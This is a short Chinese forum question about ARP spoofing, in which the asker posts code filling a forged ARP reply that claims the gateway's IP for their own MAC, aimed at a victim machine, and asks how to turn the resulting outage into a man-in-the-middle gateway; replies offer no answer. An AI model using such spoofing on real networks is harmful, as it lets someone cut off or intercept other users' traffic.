ARP欺骗实现模拟网关
让局域网中的一台机器A访问外网时,数据包经过我的机器,把我的机器认为是网关。
填充arp包的代码:
//物理帧头
arp.SourceHwAddress = 我机器的MAC;
arp.DestinationHwAddress = 受骗机器A的MAC;
arp.EthernetProtocol = EthernetProtocols_Fields.ARP;
//ARP帧
arp.ARPHwType = 0x0001;
arp.ARPProtocolType = 0x0800;
arp.ARPHwLength = 6;
arp.ARPProtocolLength = 4;
arp.ARPOperation = 0x0002;
arp.ARPSenderHwAddress = 我机器的MAC;
arp.ARPSenderProtoAddress = 网关IP;
arp.ARPTargetHwAddress = 受骗机器A的MAC;
arp.ARPTargetProtoAddress = 受骗机器A的IP;
这样的话只能实现让机器A上不去网。
如何才能实现网关的效果啊?请前辈们指点!!!
[解决办法]
沙发 不懂 帮顶
[解决办法]
没做过,听高手的回答
[解决办法]